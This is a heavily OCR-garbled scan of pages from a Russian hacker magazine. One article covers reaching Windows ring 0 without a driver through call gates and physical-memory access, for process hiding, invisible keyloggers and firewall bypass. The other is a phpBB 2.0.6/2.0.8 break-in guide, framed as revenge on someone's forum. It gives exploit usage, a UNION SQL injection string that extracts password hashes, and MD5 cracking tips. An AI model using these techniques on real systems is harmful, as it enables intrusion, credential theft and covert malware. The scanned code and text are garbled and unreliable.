блок питания для МоЬіІВаск. Но обычно ЕІ5В питания 
хватает. Итак, всего за 2715 руб. получилась флешка на 
20 гигов! Такая флешка легко умещается во 
внутреннем кармане пиджака и весит грамм 200. 

НіЕб 

Іііеб 345 @таіІ.ги 






А На компакт-дис- 
ке ты найдешь все 
описываемые 
скрипты, а также 
модули, необходи- 
мые для их корре- 
ктной работы. 



67 







И ІСГ080ІІ ТОЛЬКО и занииается той, что ограничивает пользовательские приложения ѴѴіпЛоно в возиожностях. Этото нельзя, тото 
нельзя. Что? Хочешь в запущенный зкзешник писать? Обломись. О может, ты хочешь, чтобы файрвоп твоето трафика не видел? 
Очень смешно. Казалось бы. Билли и его команда все предусмстрепи: вирусы скоро вымрут сами па себе, трояны все потоповно 
псвятся персональными файраии, теперь уже встроенными в ось. Думаешь, ХР - зто конец спокойной жизни хакера в форточках? Как бы 
не так, нупевото кольца у нас никто не отнимет! 



УЧИМСЯ РПБОШЬ с ѴПИС01Ѵ8 В КЕВИЕІ ИОВЕ 



А 



.ІШИЕ ЕЩЕ кольцо? 

В инда выгодно отличается от 
ДОСа тем, что целиком и пол- 
ностью работает в защищен- 
ном режиме процессора, кото- 
рый, как тебе наверняка изве- 
стно, является единственным 
приемлемым режимом для 
камня, построенного на осно- 
ве интеловской 32-битной архитектуры 
(ІА-32). И защищенный режим не назывался 
бы защищенным, если бы не обладал систе- 
мой безопасности - некоторыми уровнями 
привилегий, на каждом из которых процес- 
сор был бы чем-то и в чем-то ограничен. 
Такие уровни привилегий принято называть 
кольцами защиты, в ІА-32 их четыре штуки. 
Нулевое кольцо - самое привилегированное, 
в нем отсутствуют всякие ограничения, и де- 
лать в нем можно все, что только душе угод- 
но. По идее интеловских мастеров, в нем 
должно располагаться ядро операционной 
системы. В первом кольце уже появляются 
небольшие ограничения, запреты на испол- 
нения некоторых инструкций и т.п. - этот 
уровень был создан для драйверов. Віпд2 - 
для интерфейса системы и некоторых серви- 
сов, а ВіпдЗ - для пользовательских прило- 
жений. И если бы создатели ѴѴіпсІоѵѵз делали 



все так, как того хотели ребята из ІпіеІ, то, 
наверное, ты бы не читал сейчас этот мате- 
риал. МІСГ080Й по каким-то хитрым, непонят- 
ным простому смертному причинам решила 
использовать в винде только два режима - 
нулевой и третий. В ВіпдО (кегпеі тобе) при 
этом расположились ядро и все дрова, а в 
ВіпдЗ (изег тобе) - сервисы, интерфейс, 
пользовательские приложения, вирусы, троя- 
ны - в общем, все остальное. И если ядро 
ничем не ограничено, то любая запущенная 
программа обречена на ущербное существо- 
вание - в третьем кольце ни привилегирован- 
ных инструкций не выполнить, ни заглянуть в 
ядро - ничего действительно полезного хаке- 
ру сделать нельзя. 

Кегпеі тобе же - это просто рай для хаке- 
ра, в нем можно делать абсолютно все. 
Можно следить за действиями пользователя 
так, что ни он, ни любой антивирусный пакет 
об этом в жизни не узнает. Можно влиять на 
работу драйверов: скажем, запретить драй- 
веру файловой системы показывать файл с 
трояном или базу клавиатурных логов поль- 
зователю. Можно прозрачно обойти персо- 
нальный файрвол, писать в запрещенные 
файлы, работать с портами ввода/вывода - 
словом, ВСЕ. Можно даже ІІазб-биос на ма- 
теринской плате заменить отрывком из 



«Войны и мира» и отформатировать жесткий 
диск в реальном времени. 

Непонятно, как некоторые хакеры могут 
жить в пользовательском режиме, зная, что 
есть нулевой уровень привилегий. Ведь в 
стандартном ВіпдЗ не развернешься - 
ѴѴіпбоѵѵз запрещает доступ приложений к 
верхним двум гигам адресного пространства 
(в котором, по идее, располагается ядро и 
все жизненно необходимые структуры), ка- 
мень не дает пользоваться крутыми инструк- 
циями вроде Ідіб или Іібі. Со всей ответ- 
ственностью могу заявить: в изег тобе жиз- 
ни нет! Поэтому надо срочно бросать увле- 
чение писать вирусы на Оеірбі, закупаться 
учебниками по ассемблеру и тонизирующи- 
ми напитками и переселяться в гіпдО. 

.ІШСКПЕИСЯНП НУЛЕВОЙ 
УРОВЕНЬ 

Любое приложение, запущенное в изег тобе, 
само по себе значение срі (сиггепі ргіѵііеде 
ІеѵеІ) с трех на ноль не сменит, тут хитрое 
программистское решение нужно. И оно 
есть, и даже не одно. Существуют, как мини- 
мум, два способа выполнения необходимого 
кода на нулевом уровне привилегий. Первый 
- официальный, которым пользуются все 
производители аппаратных наворотов для ПК 
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и хитрых системных инструментов типа 
ЗоЙІсе, заключается он в написании 
собственного драйвера уровня ядра. Просто 
пишешь драйвер, запихиваешь куда-нибудь в 
него свой код, а далее все, как в М50М на- 
писано, - с помощью Зегѵісе Мападег АРІ 
подгружаешь получившуюся фигню к систе- 
ме, и твой код выполняется. Способ, как я 
уже говорил, официальный, неприкольный. В 
вирусах и червяках его использовать нере- 
ально, т.к. таскать с собой бинарник драйве- 
ра - большой геморрой. В троян, в принци- 
пе, можно впихнуть, но отдельно писать 
драйвер, а отдельно - пользовательскую 
часть приложения - тоже некрасиво, не гово- 
ря уже об удобстве. Есть, конечно, и плюсы в 
использовании этого способа. К примеру, 
устройства-фильтры для перехвата сообще- 
ний ввода/вывода (о них позже) реализовать 
будет попроще, чем во втором способе. Да и 
не надо будет искать адреса ядерного АРІ - 
все само найдется при загрузке. 

Второй способ - хакерский, а точнее, вир- 
мейкерский, так как именно эти повелители 
заразы его и придумали. Он позволяет пере- 
вести твое приложение в привилегирован- 
ный режим процессора, не используя ника- 
ких дров, а просто с помощью небольшого и 
несложного кода, о реализации которого я 
сейчас постараюсь рассказать. 

^ВІНСО БЕЗ ДРОВ 

Если открыть третий том ІА-32 ІпіеІ® 
АгсбіІесШге ЗоИѵѵаге Оеѵеіорег’з МапиаІ, един- 
ственного достойного учебника по низкоуров- 
невому программированию на интеловских 
процессорах, на 1 20-ой странице можно про- 
честь, что в сри есть специальные механизмы, 
позволяющие перелезать с одного уровня 
привилегий на другой с помощью шлюзов. 



Шлюзы бывают четырех типов: іпіеггирі даіе - 
шлюз прерывания, іазк даіе - шлюз задачи, 
ігар даіе - шлюз ловушки и саІІ даіе - шлюз 
вызова. Достаточно грамотно оформить лю- 
бой из них, и пользовательское приложение 
сможет переползать в нулевое кольцо. Другое 
дело - как их оформить? 

Каждый шлюз - это специфическая запись 
в одной из системных таблиц. К примеру, 
шлюз ловушки, шлюз прерывания и задачи - 
это специальные записи в ЮТ, дескриптор- 
ной таблице прерываний. А шлюз вызова 
(калгейт) - это элемент глобальной или ло- 
кальной дескрипторной таблицы, СОТ или 
ЮТ. Обычно во всех этих таблицах со 
страшными названиями хранятся жизненно 
важные для работы процессора в защищен- 
ном режиме данные, такие как векторы пре- 
рываний, описания сегментов памяти и про- 
чая фигня, которая нам совершенно не нуж- 
на, - нам важно только одно - заставить при- 
ложение перелезть в гіпдО. 

Надо научиться модифицировать эти таб- 
лицы (или хотя бы одну из них), а для этого 
нужно знать три вещи: 

а) формат таблиц, 

б) как модифицировать (формат ячейки), 

в) где находится таблица для модификации. 

Формат таблиц фактически заключается в 

размере ячеек и их количестве. К примеру, 
ЮТ состоит из 8-байтных дескрипторов, 
формат которых нам не важен, но если тебе 
это очень интересно - загляни в интеловс- 
кий мануал. Максимальное количество деск- 
рипторов в ЮТ - 256 штук. СЮТ может быть 
побольше и содержать аж до 8192 8-байт- 
ных дескрипторов, правда, винда использу- 
ет только 1 024, а нулевой дескриптор вооб- 
ще не может быть использован (попробуй - 
увидишь В8о0). 



^ защити ОТ ШЕРП 

К ак видишь, грамотный хакер может написать такого трояна 
или червяка, что его за всю жизнь в системе не откопаешь. 
А вдруг такой паразит уже вовсю орудует у тебя в системе? Мда, 
страшновато. Нужно как-то от подобных зверств защититься. 
От установки драйверов и доступа к физической памяти тебя 
спасет лишь одно - использование неадминского доступа. Ус- 
тановка дров доступна только залогиненному админу, поэтому 
срочно создавай новый пользовательский аккаунт в систему и 
сиди только из-под него. 

Хотя если троян был установлен до того, как ты прочел эту 
статью, - на 90% ты обречен и тебе от него не избавиться. Ни- 
когда. 



Для того чтобы попасть в нулевое кольцо 
привилегий, нужно добавить в одну из этих 
таблиц новую запись - шлюз, в котором бы 
содержались все необходимые данные, та- 
кие как уровень привилегий, с которого осу- 
ществляется переход, адрес функции, запус- 
каемой после перехода, и т.п. Самым попу- 
лярным у вирмейкеров шлюзом является 
калгейт. Формат у него такой: 



Формат калгейта 



іуре(1е!5Ігисі_САЦ6АТЕ_0ЕЗСРІРТ0Р{ 

II младшая часть смещения 
ОЗНОРТ оЕЕ$еШ5: 

II селектор смещения 
УЗНОРТзеІесіог: 

II счетчик параметров - нуля хватит 
УСНАР рагалі_соипі :4; 

II четыре нуля 
УСНАР $оте_Ьіі$ :4; 

II тип записи, калгейт - ІІООЬ, т.е. 12 в десятичной 
УСНАР іуре :4; 

//системный сегмент -ноль 
УСНАР арр_$у$іелі :1; 

II с какого уровня будем пользоваться - с третьего 
УСНАР фі :2: 

II пустая ли запись - нет, не пустая 
УСНАР ргезепі :1; 

//старшая часть смещения 
УЗН0РТо!1$еП6_31: 

} САЕЕ6АТЕ.0ЕЗСРІРТ0Р, *РСАЕЕ6АТЕ_0Е$СР1РТ0Р; 




^ Невероятно 
полезной при 
изучении 
внутренностей 
винды может 
оказаться книга 
Свена Шрайбера 
«Недокументиро- 
ванные 
возможности 




^ Немного 



покопавшись на 
ѵѵѵѵѵѵ.іпіеі.сот, ты 
без проблем 
отроешь мануал 
для разработчика 
софта под ІА-32. 




^ Подробнее о 
Маііѵе АРІ читай в 
библии Гэри 
Нэббета. 



Члены этой структуры, после имени кото- 
рых стоят двоеточия и цифры, - это битовые 
поля. Достаточно заполнить структуру, запи- 
сать ее в свободное место в таблице (оно 
определяется по биту ргезепі, равному нулю) 
и вызвать дальний адрес, у которого селек- 
тор бы указывал на наш шлюз, а смещение 
было бы равно нулю (оно игнорируется кам- 
нем), - и все. Вроде бы все очень просто и 
понятно (особенно когда на программу саму 
посмотришь), но где хранится эта ЮТ? 

Получить адрес таблицы очень просто, 
нужно воспользоваться инструкциями здсіі 
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А Статью, подроб- 
но описывающую 
то, что можно сде- 
лать с помощью 
доступа к физичес- 
кой памяти, читай 
в 59-ОМ номере 
РИгаск’а. 



^ИПр;//8а8т. 
пагоб.т - отлич- 
ный сайт по низко- 
уровневому прог- 
раммированию, 
содержит переве- 
денный на русский 
кусок интеловского 
мануала. 

А На диске ты най- 
дешь реализацию 
перехода в нулевое 
кольцо с помощью 
модификации как 
СОТ, так и ЮТ. А 
также пример 
драйвера уровня 
ядра. 



(для таблицы СОТ) или зісіі (для ЮТ), кото- 
рые можно выполнять на любом кольце. Они 
извлекут из регистров ЮТВ и СЮТВ 48-бит- 
ную структуру и запишут по заданному тобой 
адресу. В структуре младшие 1 6 бит - это 
предел таблицы, а старшие 32 - это ее вир- 
туальный адрес. Вроде бы на этом повество- 
вание должно закончиться, ведь для моди- 
фикации есть все данные. Не тут-то было! 
Эти регистры сообщают, что таблицы нахо- 
дятся в верхних двух гигах памяти! Вот подс- 
тава, туда же нет доступа из рингЗ! 

Туг-то и заканчивается мой пересказ ин- 
теловского мануала и начинается описание 
хакерского способа. 

Дело в том, что в винде есть один очень 
интересный объект - 

\\0еѵісе\\Рііу5ІсаІМетогу. Это устройство 
позволяет получить полный доступ к физи- 
ческой памяти - нужно только дать себе не- 
обходимые права и открыть этот объект с 
помощью функции МЮрепЗесІіоп (Маііѵе 
АРІ). Очень неплохо, ведь где-то в физичес- 
кой памяти есть и наши таблицы, жалко 
только, что у нас их виртуальные адреса, а 
тут нужны физические, что далеко не одно и 
то же. Поэтому придется реализовывать 
свою функцию для перевода одних адресов 
в другие. В 59-ОМ номере журнала Рбгаск, к 
примеру, такая функция выглядит вот так: 



Перевод виртуальных адресов в физические 



РНУ$ІСАІ_А00КЕ$3 6еіРііу8ІсаІА(](]ге55(0ШМ6 ѵА(1(]ге58) { 
РНУ31СА1_А00РЕ55 а(1(]: 



ІЕ (ѵА(](]ге88 < 0x800000001 1| ѵА(1(]ге88 >= ОхАОООООООЕ) { 
аОО.ОиаОРагі = (0Е0М6ШМ6) ѵА(1(]ге88 & ОхЕЕРРООО; 

} еІ8ѳ { 

аОО.ОиаОРагі = (ОЕОМОЕОМО) ѵА(1(]ге88 & ОхІЕРЕЕООО; 



геіигпІаОО): 

} 



Итак, похоже, наша мозаика, наконец, 
решила сложиться. Мы знаем, как модифи- 
цировать таблицу, знаем ее адрес, умеем 
получать к ней доступ - что еще нужно? А 
ничего, осталось все это дело реализовать 
и прыгать от счастья на нулевом уровне 
привилегий. 



/ ИНСТРУМЕНТЫ 



Д ля того чтобы реализовать все описанное в статье, тебе пот- 
ребуется масса разнообразных инструментов. Для написа- 
ния самой программы я рекомендую ѴізиаІ С++ или, на худой 
конец, МА5М. Но одного компилятора и ЮЕ не хватит для пол- 
ноценной разработки приложений, работающих в нулевом 
кольце защиты в ѴѴіпсІоѵѵз. Тебе просто необходим МісгозоТІ: 
□гіѵег Оеѵеіорппепі: К\\ (ООК), в который входят все необходи- 
мые хидеры, описывающие важные структуры вроде 
□ЕѴІСЕ ОВЭЕСТ, иЬ’ы, а также очень скромненький мануаль- 
чик, по которому, мне кажется, еще никто ничего не написал. 

Также ты и минуты не проживешь без качественного отладчика 
уровня ядра. Ведь каждый крах твоей программы будет обора- 
чиваться голубым экраном смерти и насильным рестартом сис- 
темы. Чтобы этого избежать или использовать в своих целях те- 
бе понадобится ЗоЙІсе - дебаггер, у которого нет конкурентов 
(что бы ни говорили любители к6 вроде Шрайбера). 



Это устройство позволяет получить 
полный доступ к физической памяти. 



1“ С ѵросимь- I с 1 и ос ѵн аг$ЕХ 00 ^ 65 \Э«С\(:е 5 *-Ш 



Тгѵіпд гепапе "Ехріогег -ехе" 1:о "Ііі диуз?" 
Ехріогег-ехе РІЮ із 1684... 

Епдіпе ре1;игп5 : Биссезз 

Тгѵіпд Ы(іе иѵзеІС. Мѵ РІВ із 1464--. 

Епдіпе геі^игпз: Биссезз 

Мѵ ЕРНОСЕ55 І5 1оса1;е(1 аі: 0хГе0(1с450 

I ^ и аііѵе : ОхОООООООа 



Программа РНЮЕ, скрывающая процессы 



.ІРРІВВІНСО 

Оказавшись в долгожданном привилегиро- 
ванном режиме процессора, понимаешь - 
здесь можно все, но как это «все можно» - 
не понимаешь. В изег тобе было АПИ, с по- 
мощью которого осуществлялось взаимодей- 
ствие с системой, а что делать в кегпеі 
тобе? Благо хоть над этой задачей долго 
биться не придется - на уровне ядра тоже 
есть свое АПИ. Функций, правда, в нем на 
порядок больше, чем в старом добром 
кегпе132.б11, - тут и функции для работы со 
структурой процессов, и хитрые процедуры 
для обеспечения работы драйверов. Практи- 
чески все они располагаются в піозкгпі.ехе, 
даже по такому коротенькому названию фай- 
ла понятно - это ядро. Есть, конечно, функ- 
ции и в пібІІ.бІІ, но в основном они все им- 
портируются из ядра. 

Если ты переходишь в нулевое кольцо с 
помощью драйвера, то проблем с поиском 
адресов этих функций у тебя не должно воз- 
никнуть. Все функции описаны в ІіЬ’ах в 
комплекте ООК и будут добавлены в таблицу 
импорта драйвера. А как же быть нам, хаке- 
рам? Мы же драйверов писать не хотим. А 
раз не хотим, придется нам все адреса 
функций искать вручную. 

МіозкгпІ.ехе всегда загружен в системе, 
но находится выше двух гигабайт памяти, 
поэтому обычной функцией СеіРгосАббгезз 
тут не обойтись. Все чуточку хитрее. Нужно 
подгрузить піозкгпі к нашему приложению с 



помощью ІоабІіЬгагу и найти смещение 
функции в нем, а затем прибавить получен- 
ное значение к оригинальному адресу обра- 
за ядра, который можно узнать с помощью 
функции, экспортируемой пібІІ и доступной 
из гіпдЗ, - МЮиегуВузіетІп^огтаііоп (под- 
робное описание читай в книге Гари Нэббе- 
та). Ну а получив адрес функции, с ней мож- 
но что-нибудь сотворить - к примеру, запус- 
тить... или перехватить. 

Когда я писал свою программу, у меня 
было отличное настроение и я не был наст- 
роен на дестрой, поэтому для пробы я ре- 
шил с помощью АПИ сменить имя своему 
процессу. Чтобы это сделать, мне понадоби- 
лось найти адрес ядерной функции 
РзСеЮиггепіРгосезз (префикс Рз означает, 
что функция предназначена для работы со 
структурой процессов), которая возвращает 
объект ядра типа ЕРВОСЕ58. Этот объект 
содержит все данные о моем процессе, и 
при желании их можно поменять на что угод- 
но. Меня интересовало имя процесса, иначе 
- ітаде пате. Но вот незадача - описание 
структуры ЕРРЮСЕ88 менялось в зависимос- 
ти от версии винды, поэтому нельзя было 
точно сказать, где именно находится в этой 
структуре необходимое мне имя процесса в 
моем новеньком ХП. Поэтому мне пришлось 
вычислять смещение имени в структуре с 
помощью обыкновенного поиска подстроки. 
Таким образом я нашел в этом объекте ста- 
рое имя и сменил его на торжественное 
«НаскесІ Ьу дог!». Кстати, на нашем диске 
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уже в продаже 




есть программа, написанная небезызвест- 
ным кодером 90210 и опубликованная ранее 
в вирусном е-зине 29А, которая грамотно пе- 
реключается в рингО и меняет либо вообще 
убирает имя заданного процесса. 

^ПОПНЫЙ КОНТРОЛЬ 

Самое приятное, что можно сделать в нуле- 
вом кольце, - это устроить разнос системе и 
получить полный контроль над ней путем 
корректирования работы драйверов. Поверь, 
управление драйверами дает очень большие 
возможности - тут и невидимые кейлоггеры, 
и сокрытие файла на диске, в общем, много 
всего вкусного. 

Драйверы в винде могут взаимодейство- 
вать друг с другом и даже с пользовательс- 
ким уровнем. Осуществляется это с по- 
мощью специальных пакетов ввода/вывода - 
ІВР. Например, когда ты открываешь какой- 
нибудь файл с помощью функции СгеаіеРіІе, 
создается такой пакет и посылается с неко- 
торыми параметрами драйверу файловой 
системы (или другому, если ты не файл отк- 
рываешь) и т.п. Чтобы контролировать рабо- 
ту драйвера, нужно следить за приходящими 
ему ІВР-пакетами. Именно так, кстати, и ра- 
ботают персональные файрволы - они созда- 
ют специальные устройства-фильтры, с по- 
мощью которых получают все ІВР, адресо- 
ванные устройствам \\Оеѵісе\\Тср, 
\\Оеѵісе\\ІІсІр и \\Оеѵісе\\Ваѵѵ, а дальше ре- 
шают, можно им пройти дальше или нет. 

Вот и нам надо научиться делать такие 
фильтры. Если ты перелезал на нулевой уро- 
вень привилегий с помощью написания 
драйвера, фильтр будет написать очень 
просто. Достаточно создать устройство с по- 
мощью функции ІоСгеаіеОеѵісе, а затем при- 
соединить его к фильтруемому девайсу с по- 



мощью функции ІоАйасбОеѵісе. После этого 
твое устройство окажется верхним в стеке 
драйверов и будет получать все ІВР-пакеты, 
адресуемые стеку. Фильтр может быть не 
один, поэтому каждый новый девайс прик- 
репляется к последнему присоединенному. 

Но если ты воспользовался хакерским ме- 
тодом, то решение не будет таким простым. 
Дело в том, что при загрузке драйвера соз- 
дается структура, членом которой является 
таблица с адресами Оізраісіі-функций 
(МаіогРипсІіоп). Эта таблица заполняется в 
функции ОгіѵегЕпігу значениями, после чего 
именно они осуществляют обработку ІВР. А 
если драйверы не писать, структуры не бу- 
дет и перехватывать их будет нечем. Я уже 
молчу, что функция ІоСгеаіеОеѵісе одним из 
своих параметров требует указатель на ОВІ- 
VЕВ_ОВ^ЕСТ. Поэтому устройство-фильтр в 
этом случае не прокатит. 

Но можно обхитрить драйвер, найдя при 
помощи функции ІоСеШеѵісеОЬіесіРоіпіег 
объект-устройство с именем устройства, чьи 
пакеты мы хотим перехватывать. В получен- 
ной структуре ^ЕVIСЕ_ОВ^ЕСТ (все эти 
структуры описаны в ООК) можно выдрать 
указатель на структуру ^ВIVЕВ_ОВ^ЕСТ (поле 
ОгіѵегОЬіесі) и уже в ней навести марафет, а 
если быть точным, внаглую заменить (пред- 
варительно записав) все адреса Оізраісб- 
функций на свой обработчик. Эффект будет 
такой же, как если бы мы сделали фильтр! А 
в обработчике можно уже делать все, что 
заблагорассудится: хочешь - посылай пакет 
старой функции, хочешь - заверни. 

Я с помощью таких механизмов организовы- 
вал обход персональных файрволов - орудуя 
функцией ІоСеІАНасІіесЮеѵісе, я получал пос- 
леднее присоединенное к сетевому драйверу 
устройство и заменял его Оізраісіі-функцией на 
свой обработчик, в котором сверял Ю текущего 
процесса (РзСеЮиггепіРгосеззЮ) с Ю процесса 
моей программы. И если они совпадали, то по- 
сылал ІВР-пакет не оригинальной функции, а 
напрямик устройству \\Оеѵісе\\Тср с помощью 
функции ІоСаІЮгіѵег. Реализуется это просто, а 
главное - никто и в жизни не пропалит. 

.і ВСКРЫТИЕ ПОКРЗППО 

Нулевое кольцо - огромный полигон для хаке- 
ра. Возможностей оно дает столько, сколько 
не приснится даже в самых ярких эротических 
снах. Я описал лишь толику того, что можно 
делать в ѴѴіпсІоѵѵз в гіпдО. Думаю, до осталь- 
ного ты и сам дойдешь, пару раз перечитав 
мою статью, исправив в ней ошибки, вырас- 
тив сына и построив дом. Если у тебя есть ка- 
кие-нибудь интересные идеи, замечания или 
ты просто хочешь сказать мне, что статья по- 
лучилась кошмарная, - пиши. С Новым го- 
дом. □С 





’і ТЕМА НОМЕРА: 
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И ожапуй, в половине приходніцих ко ине посей содержитсн просьба помочь со взломом хахого-то сайта. «Друг увел любимую 
девушку, - слезно пишет Пети из Томи. - Помоги отомстить негодяю! Он, правда, выше на 20 сантиметров и с 1 2 пет занимается 
культуризмом. В общем, я хочу сломать его сайт, там еще форум есть». Это хорошо, что есть. Сейчас сломаем! 



X бдги пвпапярногв фврвня рнрвв 




Р азумеется, дать универсаль- 
ный алгоритм по взлому лю- 
бого форума невозможно. Та- 
кую инструкцию можно вы- 
пустить размером в 50 томов, 
и все равно она не будет пол- 
ной. Я не буду грузить прог- 
раммистскими выкладками, я 
просто расскажу про несколько путей взлома 
самого популярного ѵѵеЬ-форума РбрВВ, ко- 
торый установлен на сотнях тысяч серверов 
в инете. 



с ЧЕГО начать? 

Начать надо с элементарного - необходимо 
определить версию установленного форума. 
Проще всего это сделать, зайдя в конферен- 
цию и поглядев вниз страницы - там будет 
строка с копирайтами и номером версии, 
что-то вроде этого: «Роѵѵегеб Ьу рбрВВ 2.0.8 
© 2001 -2003 рбрВВ Сгоир». На момент на- 
писания статьи самой последней стабильной 
версией форума была 2.0.10: багов в ней 
еще официально найдено не было, хотя я ни 
секунды не сомневаюсь, что они есть. Впро- 
чем, ситуацию исправляет море ошибок в 

2.0.6 и 2.0.8 - эти версии, несмотря на про- 
шедшее время, все еще очень часто встре- 
чаются в Сети, подтверждение чему - ре- 
зультаты поиска по ключевой фразе «роѵѵ- 
егеб Ьу...» в Яндексе: мною лично было най- 
дено 2 миллиона (!) страниц для 2.0.6. 

После того как стал известен номер вер- 
сии форума, нужно понять, какой баг лучше 



использовать. Для меня наибольший интерес 
представляет две версии форума: 2.0.6 и 

2.0. 8. В каждой из них есть довольно серьез- 
ная уязвимость 5дІ-іп)есііоп, которая позволя- 
ет получить доступ к таблице с пользова- 
тельской информацией и извлечь оттуда хэш 
пароля любого пользователя форума. 

.і КОВЫРЯЕМ 2.0.6 

Что касается более старой версии форума, 

2.0. 6, то об этой уязвимости известно уже 
давно, но количество уязвимых ресурсов не 
спешит сокращаться. Под моим прицелом 
находится скрипт зеагсЬ.рЬр, осуществляю- 
щий поиск по конференциям. Если внима- 
тельно посмотреть на код этого сценария, 
можно заметить, что когда переменная 
$зЬоѵѵ_ге8иИ8 не установлена в значение 



ро8І8 или Іоріс8, становится возможным по- 
местить в $8еагсЬ_ге8иІі8 ядовитую строку, 
которая изменит выполняемый зді-запрос. 

Поскольку об этом баге известно уже дав- 
но, появился даже эксплоит, который самос- 
тоятельно реализует зді-іпіесііоп: нужно 
лишь указать II ВІ форума, имя пользовате- 
ля, пароль, который интересует, и иденти- 
фикатор валидного топика. Скачать сплойт, 
написанный на рЬр, можно здесь: ѵѵѵѵѵѵ.$сап- 
а$$осіаІе$.пеІ/рарег$/детиги[і-ѵ2.р[ір.М; для его нор- 
мальной работы нужна библиотека сІІВІ. 

Чтобы проверить какой-либо из серверов 
на уязвимость, этот сценарий нужно залить 
на сервер и выполнить примерно следую- 
щим образом: 

5рІоіі.рІір іііір://^огипі.$ііе.ги и$ег12 




Где ііІф://[оги[п.$іІе.ги - это 
адрес форума, изег - ник 
пользователя, чей пароль ин- 
тересен, а 12 - идентифика- 
тор топика, в обсуждении ко- 
торого участвовал пациент. 
Если форум уязвим, в ре- 
зультате работы эксплойта на 
экране появится хэш пароля 
пользователя изег и останет- 
ся лишь расшифровать его. 
Если же появилась строка 
«Моі ѵиІпегаЫе, гедізіег_дІоЬ- 
аІ8=01^», это означает, что 
форум неуязвим из-за наст- 




роек РНР. Справедливости ради надо отме- 
тить, что геді5Іег_дІоЬаІ5=Оі^ - это дефолт- 
ные настройки интерпретатора, но умников в 
инете хватает. 

^2.0.8 под СШЬПЕПЕИ 

Версия 2.0.8 содержит не менее опасную 
ошибку в сценарии просмотра приватных со- 
общений ргіѵтзд.рИр. Здесь, если передавае- 
мый скрипту параметр ^оібег установлен в 
значение заѵеЬох, происходит забавная штука: 

$ рт_$^I_и5ег .= "АНО ( ( р[п.ргіѵт5д$_іо_и5егі(] 

К переменной $рт_зд1_изег из внутренне- 
го адресного пространства программы допи- 
сывается некоторый кусок зді-запроса. Это 
все здорово, ведь по задумке программиста 
$рт_зд1_изег - переменная внутренняя и, 
поскольку ранее она не использовалась, по 
большому счету нет разницы, дописывать 
или присваивать ей новое значение. Но вот 
если случится так, что переменная будет 



инициализирована раньше, это приведет к 
непредсказуемым результатам, ведь исход- 
ное значение будет добавлено в реализуе- 
мый зді-запрос. Если в настройках РНР ука- 
зан параметр гедізіег_дІоЬаІз=Оп и удален- 
ный пользователь посылает методом СЕТ па- 
раметр рт_зд1_изег, РНР автоматически ини- 
циализирует переменную с этим же названи- 
ем, в результате чего становится возможным 
модифицировать выполняемый запрос. Что- 
бы лучше понять, как это работает, можно 
просто определить рт_зд1_изег произволь- 
ным значением: рт_зд1_изег=1а1а. В резуль- 
тате скрипт выдаст ошибку примерно следу- 
ющего содержания: 

301 Еггог : 1064 Уои Ііаѵе ап еггог іп уоиг 301 $упіах. Сііеск іііе 
шапиаі іііаі согге$роп(1$ іо уоиг МуЗОІ $егѵег ѵег$іоп іог іІіе 
гідііі зупіах іо и$е пеаг 'ІаІаАНО ( ( рт.ргіѵ[ті$д$_іо_и5егі(] = 3 
АN^ рт.ргіѵпі8д8_іуре... 

Здесь следует обратить внимание в какую 
часть запроса добавилась строка «Іаіа». Нес- 
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ЛОЖНО догадаться, что для осуществления 
зді-іпіесііоп нужно дополнить запрос корре- 
ктным объединением ІІМІОМ и закомменти- 
ровать остальную часть запроса. В результа- 
те получается примерно такая строка: 

ЗШ7%20^NI0N%203Е^ЕСТ%20и8егпап1е,пиII,и8ег_ра88ѵѵог(],пи 

ІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІ 

І,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ,пиІІ%20ЕР0М% 

20рІір[)У8ег8%20ШЕКЕ%20и8ег_ій=1%20ЕІМІТ%201/* 

Если все ок, то на экран будет выведена 
табличка с логином и паролем администра- 
тора. Меняя значение изег ісі, можно до- 
биться того, что на экране будут выведены 
пароли всех остальных пользователей. 

.ІРПСШИФРОВКПППРОПЕЙ 

После всех этих манипуляций встает естест- 
венный вопрос: что делать, когда уже получен 
хэш пароля? На самом деле полноценно ис- 
пользовать полученную строку напрямую не- 
возможно: ведь это как бы сигнатура реального 
пароля. Ведь наверняка известно, что для 
взлома тс15 есть два способа. Первый - обра- 
титься к африканскому шаману и сплясать ри- 
туальный танец с бубном, а второй - попросту 
перебрать все возможные варианты. Я, 
например, пользуюсь отличной программой 
для перебора хэшей, которая называется 
тсібіпзісіе. Ее можно найти на нашем диске ли- 
бо на сайте Іііір://ігес1.іпіп$.ги/ха. Программа не 
требует установки, и все, что нужно, - это соз- 
дать текстовый файл, куда построчно помес- 
тить ломаемые хэши. Например, вот так: 



^ 3 ^ 

А На нашем диске 
ты найдешь нес- 
колько программ 
для перебора М05, 
а также упомяну- 
тый в статье 
скрипт для провер- 
ки форума на уяз- 
вимость. 




А В ближайших но- 
мерах X будет ин- 
тересный матери- 
ал по распреде- 
ленным вычисле- 
ниям и эксклюзив- 
ная статья по взло- 
му неуязвимой до 
сих пор версии 
рМрВВ 2.0.10. Не 
пропусти! 



^ КПК УСКОРИТЬ ПЕРЕБОР? 



(10341а126і1Ь31[)2(](]Ье466Ь4й(]72[)86 

е940508аае56986еЬ9(](]863і)6е268447 

36е672(141е98209іа80Ь34375гі4316І)й 



Д аже на современных процессорах взлом іпсіб-хэшей - это 
сложная задача, которая занимает много времени. Чтобы 
ускорить этот процесс, тебе нужно знать несколько вещей. 

О. Если одновременно взламывать N хэшей, это ускоряет в аб- 
солютном понимании время перебора в N раз. А все потому, что 
основная часть времени тратится именно на вычисление функ- 
ции ППСІ5 с образца. И когда значение уже вычислено, совсем не 
важно, сравнивается ли полученная строка с одним эталоном 
или с сотней, - это не влияет на время. Поэтому если тебе надо 
сломать тысячу хэшей, запускай их перебор параллельно, это 
не замедлит работу. 

Ѳ. Перебор Мс15 очень легко распределить на несколько компь- 
ютеров. Для этого даже не надо писать самопальный софт: ес- 
ли тебе доступны несколько компов, ты можешь тупо разбить 
диапазон паролей на несколько частей и запустить перебор на 
нескольких машинах. 

Ѳ. При росте длины подбираемого пароля количество возмож- 
ных вариантов растет, как степенная функция М^'п, где М - это 
количество возможных символов в пароле, ап- его длина. Сам 
понимаешь, взломать пароль длиной 10 символов - это уже 
очень сложная задача. 



После того как создан такой файл, запус- 
кается программа и сам файл открывается 
стандартным диалогом Рііе -> Ореп. В табли- 
це программы появятся все указанные хэши, 
и их уже можно начинать взламывать. Для 
